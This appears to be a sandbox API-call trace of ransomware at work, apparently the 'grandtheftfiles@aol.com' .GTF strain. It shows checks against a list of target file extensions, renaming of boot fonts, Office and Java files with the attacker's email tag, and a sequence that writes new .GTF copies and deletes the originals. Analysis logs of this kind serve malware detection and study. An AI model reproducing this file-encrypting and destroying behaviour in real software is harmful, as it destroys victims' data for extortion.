	[0153.777] CreateFileW (lpFileName="C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0153.777] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29
	[0153.777] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29
	[0153.777] lstrlenW (lpString=".doc") returned 4
	[0153.777] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0153.777] lstrlenW (lpString=".docx") returned 5
	[0153.777] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0153.777] lstrlenW (lpString=".pdf") returned 4
	[0153.777] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0153.777] lstrlenW (lpString=".xls") returned 4
	[0153.777] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0153.777] lstrlenW (lpString=".xlsx") returned 5
	[0153.777] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0153.777] lstrlenW (lpString=".ppt") returned 4
	[0153.777] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0153.777] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29
	[0153.777] lstrlenW (lpString=".zip") returned 4
	[0153.777] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0153.777] lstrlenW (lpString=".rar") returned 4
	[0153.777] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0153.777] lstrlenW (lpString=".bz2") returned 4
	[0153.777] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0153.777] lstrlenW (lpString=".7z") returned 3
	[0153.777] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0153.777] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29
	[0153.777] lstrlenW (lpString=".dbf") returned 4
	[0153.777] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0153.777] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29
	[0153.777] lstrlenW (lpString=".1cd") returned 4
	[0153.777] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0153.777] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29
	[0153.777] lstrlenW (lpString=".jpg") returned 4
	[0153.778] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0153.778] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29
	[0153.778] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29
	[0153.778] lstrlenW (lpString=".doc") returned 4
	[0153.778] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0153.778] lstrlenW (lpString=".docx") returned 5
	[0153.778] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0153.778] lstrlenW (lpString=".pdf") returned 4
	[0153.778] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0153.778] lstrlenW (lpString=".xls") returned 4
	[0153.778] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0153.778] lstrlenW (lpString=".xlsx") returned 5
	[0153.778] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0153.778] lstrlenW (lpString=".ppt") returned 4
	[0153.778] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0153.778] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29
	[0153.778] lstrlenW (lpString=".zip") returned 4
	[0153.778] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0153.778] lstrlenW (lpString=".rar") returned 4
	[0153.778] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0153.778] lstrlenW (lpString=".bz2") returned 4
	[0153.778] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0153.778] lstrlenW (lpString=".7z") returned 3
	[0153.778] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0153.778] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29
	[0153.778] lstrlenW (lpString=".dbf") returned 4
	[0153.778] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0153.778] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29
	[0153.778] lstrlenW (lpString=".1cd") returned 4
	[0153.778] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0153.778] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29
	[0153.778] lstrlenW (lpString=".jpg") returned 4
	[0153.778] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0153.779] lstrcmpiW (lpString1=".mui", lpString2=".GTF") returned 1
	[0153.779] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0153.779] CreateFileW (lpFileName="C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc
	[0153.779] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=74072) returned 1
	[0153.779] CloseHandle (hObject=0x3cc) returned 1
	[0153.779] GetFileAttributesW (lpFileName="C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui")) returned 0x20
	[0153.779] GetFileAttributesW (lpFileName="C:\\Boot\\en-GB\\bootmgr.exe.mui.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0153.779] CreateFileW (lpFileName="C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0153.779] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29
	[0153.779] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29
	[0153.779] lstrlenW (lpString=".doc") returned 4
	[0153.779] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0153.779] lstrlenW (lpString=".docx") returned 5
	[0153.779] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0153.779] lstrlenW (lpString=".pdf") returned 4
	[0153.779] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0153.780] lstrlenW (lpString=".xls") returned 4
	[0153.780] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0153.780] lstrlenW (lpString=".xlsx") returned 5
	[0153.780] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0153.780] lstrlenW (lpString=".ppt") returned 4
	[0153.780] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0153.780] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29
	[0153.780] lstrlenW (lpString=".zip") returned 4
	[0153.780] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0153.780] lstrlenW (lpString=".rar") returned 4
	[0153.780] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0153.780] lstrlenW (lpString=".bz2") returned 4
	[0153.780] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0153.780] lstrlenW (lpString=".7z") returned 3
	[0153.780] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0153.780] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29
	[0153.780] lstrlenW (lpString=".dbf") returned 4
	[0153.780] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0153.780] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29
	[0153.780] lstrlenW (lpString=".1cd") returned 4
	[0153.780] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0153.780] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29
	[0153.780] lstrlenW (lpString=".jpg") returned 4
	[0153.780] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0153.780] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29
	[0153.780] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29
	[0153.780] lstrlenW (lpString=".doc") returned 4
	[0153.780] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0153.780] lstrlenW (lpString=".docx") returned 5
	[0153.780] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0153.780] lstrlenW (lpString=".pdf") returned 4
	[0153.780] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0153.780] lstrlenW (lpString=".xls") returned 4
	[0153.780] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0153.780] lstrlenW (lpString=".xlsx") returned 5
	[0153.780] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0153.780] lstrlenW (lpString=".ppt") returned 4
	[0153.781] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0153.781] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29
	[0153.781] lstrlenW (lpString=".zip") returned 4
	[0153.781] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0153.781] lstrlenW (lpString=".rar") returned 4
	[0153.781] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0153.781] lstrlenW (lpString=".bz2") returned 4
	[0153.781] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0153.781] lstrlenW (lpString=".7z") returned 3
	[0153.781] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0153.781] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29
	[0153.781] lstrlenW (lpString=".dbf") returned 4
	[0153.781] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0153.781] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29
	[0153.781] lstrlenW (lpString=".1cd") returned 4
	[0153.781] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0153.781] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29
	[0153.781] lstrlenW (lpString=".jpg") returned 4
	[0153.781] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0153.781] lstrcmpiW (lpString1=".mui", lpString2=".GTF") returned 1
	[0153.781] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0153.781] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc
	[0153.781] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=74144) returned 1
	[0153.781] CloseHandle (hObject=0x3cc) returned 1
	[0153.782] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20
	[0153.782] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0153.782] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0153.782] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0153.782] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0153.782] lstrlenW (lpString=".doc") returned 4
	[0153.782] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0153.782] lstrlenW (lpString=".docx") returned 5
	[0153.782] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0153.782] lstrlenW (lpString=".pdf") returned 4
	[0153.782] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0153.782] lstrlenW (lpString=".xls") returned 4
	[0153.782] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0153.782] lstrlenW (lpString=".xlsx") returned 5
	[0153.782] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0153.782] lstrlenW (lpString=".ppt") returned 4
	[0153.782] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0153.782] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0153.782] lstrlenW (lpString=".zip") returned 4
	[0153.782] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0153.782] lstrlenW (lpString=".rar") returned 4
	[0153.782] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0153.782] lstrlenW (lpString=".bz2") returned 4
	[0153.782] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0153.782] lstrlenW (lpString=".7z") returned 3
	[0153.782] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0153.782] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0153.782] lstrlenW (lpString=".dbf") returned 4
	[0153.782] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0153.782] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0153.783] lstrlenW (lpString=".1cd") returned 4
	[0153.783] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0153.783] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0153.783] lstrlenW (lpString=".jpg") returned 4
	[0153.783] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0153.783] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0153.783] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0153.783] lstrlenW (lpString=".doc") returned 4
	[0153.783] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0153.783] lstrlenW (lpString=".docx") returned 5
	[0153.783] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0153.783] lstrlenW (lpString=".pdf") returned 4
	[0153.783] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0153.783] lstrlenW (lpString=".xls") returned 4
	[0153.783] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0153.783] lstrlenW (lpString=".xlsx") returned 5
	[0153.783] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0153.783] lstrlenW (lpString=".ppt") returned 4
	[0153.783] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0153.783] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0153.783] lstrlenW (lpString=".zip") returned 4
	[0153.783] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0153.783] lstrlenW (lpString=".rar") returned 4
	[0153.783] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0153.783] lstrlenW (lpString=".bz2") returned 4
	[0153.783] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0153.783] lstrlenW (lpString=".7z") returned 3
	[0153.783] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0153.783] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0153.783] lstrlenW (lpString=".dbf") returned 4
	[0153.783] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0153.783] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0153.783] lstrlenW (lpString=".1cd") returned 4
	[0153.783] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0153.783] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0153.783] lstrlenW (lpString=".jpg") returned 4
	[0153.783] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0153.784] lstrcmpiW (lpString1=".mui", lpString2=".GTF") returned 1
	[0153.784] lstrlenW (lpString="memtest.exe.mui") returned 15
	[0153.784] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc
	[0153.784] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=44960) returned 1
	[0153.784] CloseHandle (hObject=0x3cc) returned 1
	[0153.784] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20
	[0153.784] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0153.784] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0153.784] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29
	[0153.784] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29
	[0153.784] lstrlenW (lpString=".doc") returned 4
	[0153.784] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0153.784] lstrlenW (lpString=".docx") returned 5
	[0153.784] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0153.784] lstrlenW (lpString=".pdf") returned 4
	[0153.784] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0153.785] lstrlenW (lpString=".xls") returned 4
	[0153.785] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0153.785] lstrlenW (lpString=".xlsx") returned 5
	[0153.785] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0153.785] lstrlenW (lpString=".ppt") returned 4
	[0153.785] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0153.785] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29
	[0153.785] lstrlenW (lpString=".zip") returned 4
	[0153.785] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0153.785] lstrlenW (lpString=".rar") returned 4
	[0153.785] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0153.785] lstrlenW (lpString=".bz2") returned 4
	[0153.785] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0153.785] lstrlenW (lpString=".7z") returned 3
	[0153.785] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0153.785] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29
	[0153.788] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0153.789] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0153.791] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0154.203] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0154.204] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0154.204] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0154.205] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0154.205] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0154.206] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0154.721] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=8809536) returned 1
	[0154.721] CloseHandle (hObject=0x440) returned 1
	[0154.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll")) returned 0x20
	[0154.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0154.722] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0154.737] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.737] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.737] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0154.738] GetLastError () returned 0x0
	[0154.738] ReadFile (in: hFile=0x440, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0xcac, lpOverlapped=0x0) returned 1
	[0154.747] WriteFile (in: hFile=0x444, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xcb0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0xcb0, lpOverlapped=0x0) returned 1
	[0154.748] ReadFile (in: hFile=0x440, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0154.748] WriteFile (in: hFile=0x444, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0154.749] SetEndOfFile (hFile=0x444) returned 1
	[0154.749] CloseHandle (hObject=0x444) returned 1
	[0154.749] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.749] SetEndOfFile (hFile=0x440) returned 1
	[0154.756] CloseHandle (hObject=0x440) returned 1
	[0154.756] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0154.757] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright")) returned 1
	[0154.758] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0154.758] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0154.758] lstrlenW (lpString=".doc") returned 4
	[0154.758] lstrcmpiW (lpString1=".doc", lpString2="IGHT") returned -1
	[0154.758] lstrlenW (lpString=".docx") returned 5
	[0154.758] lstrcmpiW (lpString1=".docx", lpString2="RIGHT") returned -1
	[0154.758] lstrlenW (lpString=".pdf") returned 4
	[0154.758] lstrcmpiW (lpString1=".pdf", lpString2="IGHT") returned -1
	[0154.758] lstrlenW (lpString=".xls") returned 4
	[0154.758] lstrcmpiW (lpString1=".xls", lpString2="IGHT") returned -1
	[0154.758] lstrlenW (lpString=".xlsx") returned 5
